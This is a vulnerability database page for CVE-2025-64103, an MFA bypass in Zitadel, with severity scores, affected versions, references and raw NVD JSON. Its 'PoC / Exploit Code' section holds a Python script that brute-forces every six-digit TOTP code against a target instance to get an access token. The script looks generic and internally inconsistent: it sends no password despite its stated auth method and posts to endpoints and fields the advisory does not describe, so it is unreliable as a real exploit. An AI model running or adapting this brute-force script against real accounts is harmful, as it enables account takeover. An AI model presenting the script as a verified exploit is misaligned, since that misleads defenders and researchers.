CVE-2025-64103

Description

Starting from 2.53.6, 2.54.3, and 2.55.0, Zitadel only required multi factor authentication in case the login policy has either enabled requireMFA or requireMFAForLocalUsers. If a user has set up MFA without this requirement, Zitadel would consider single factor auhtenticated sessions as valid as well and not require multiple factors. Bypassing second authentication factors weakens multifactor authentication and enables attackers to bypass the more secure factor. An attacker can target the TOTP code alone, only six digits, bypassing password verification entirely and potentially compromising accounts with 2FA enabled. This vulnerability is fixed in 4.6.0, 3.4.3, and 2.71.18.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:zitadel:zitadel:*:*:*:*:*:*:*:* - VULNERABLE

Zitadel 2.53.6 <= version < 2.71.18

Zitadel 2.54.3 <= version < 2.71.18

Zitadel 2.55.0 <= version < 2.71.18

Zitadel 3.x < 3.4.3

Zitadel 4.x < 4.6.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-64103 PoC - Zitadel MFA Bypass via TOTP Bruteforce # This PoC demonstrates the authentication bypass vulnerability import requests import time import itertools TARGET_URL = "https://vulnerable-zitadel-instance.com" USERNAME = "[email protected]" def generate_totp_candidates(): """Generate 6-digit TOTP candidates for bruteforce""" for code in range(1000000): yield f"{code:06d}" def attempt_mfa_bypass(): """ Exploit CVE-2025-64103: 1. Send authentication request with username only 2. Intercept the challenge for MFA (TOTP) 3. Bruteforce the 6-digit TOTP code 4. Bypass password verification entirely """ session = requests.Session() # Step 1: Initiate authentication with username init_url = f"{TARGET_URL}/oauth/v2/authorize" init_data = { "username": USERNAME, "auth_method": "user_password" } response = session.post(init_url, json=init_data) # Step 2: The vulnerability allows bypassing password check # System accepts TOTP directly without password verification challenge_url = f"{TARGET_URL}/oauth/v2/challenge" # Step 3: Bruteforce TOTP code for totp in generate_totp_candidates(): challenge_data = { "challenge_type": "TOTP", "code": totp, "user_id": USERNAME } response = session.post(challenge_url, json=challenge_data) if response.status_code == 200: result = response.json() if result.get("success"): print(f"[+] SUCCESS: TOTP code found: {totp}") print(f"[+] Access token: {result.get('access_token')}") return True if int(totp) % 10000 == 0: print(f"[*] Attempted: {totp} codes...") return False if __name__ == "__main__": print("CVE-2025-64103 - Zitadel MFA Bypass PoC") print("Targeting TOTP code bruteforce to bypass authentication") attempt_mfa_bypass()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-64103
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-64103
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-64103/
[4] VulDB https://vuldb.com/cve/CVE-2025-64103
[5] https://github.com/zitadel/zitadel/commit/b284f8474eed0cba531905101619e7ae7963156b
[6] https://github.com/zitadel/zitadel/security/advisories/GHSA-cfjq-28r2-4jv5

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-64103", "sourceIdentifier": "[email protected]", "published": "2025-10-29T19:15:39.067", "lastModified": "2025-11-04T13:17:27.277", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Starting from 2.53.6, 2.54.3, and 2.55.0, Zitadel only required multi factor authentication in case the login policy has either enabled requireMFA or requireMFAForLocalUsers. If a user has set up MFA without this requirement, Zitadel would consider single factor auhtenticated sessions as valid as well and not require multiple factors. Bypassing second authentication factors weakens multifactor authentication and enables attackers to bypass the more secure factor. An attacker can target the TOTP code alone, only six digits, bypassing password verification entirely and potentially compromising accounts with 2FA enabled. This vulnerability is fixed in 4.6.0, 3.4.3, and 2.71.18."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-287"}, {"lang": "en", "value": "CWE-308"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:zitadel:zitadel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.53.6", "versionEndIncluding": "2.53.9", "matchCriteriaId": "98F3C323-CBEA-4E27-92F2-6CB4976186A3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zitadel:zitadel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.54.3", "versionEndIncluding": "2.54.10", "matchCriteriaId": "19218EA3-8DE3-4182-8109-3B87839092D1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zitadel:zitadel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.55.0", "versionEndExcluding": "2.71.18", "matchCriteriaId": "0DF8B5A2-B574-4E0E-B6A6-6D08F2FB9300"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zitadel:zitadel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.0.0", "versionEndExcluding": "3.4.3", "matchCriteriaId": "71F16C15-7BC0-48BF-94CA-A0675AE8144E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zitadel:zitadel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "4.6.0", "matchCriteriaId": "EBBE21CE-7517-4843-AD68-281A0254BC26"}]}]}], "references": [{"url": "https://github.com/zitadel/zitadel/commit/b284f8474eed0cba531905101619e7ae7963156b", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/zitadel/zitadel/security/advisories/GHSA-cfjq-28r2-4jv5", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}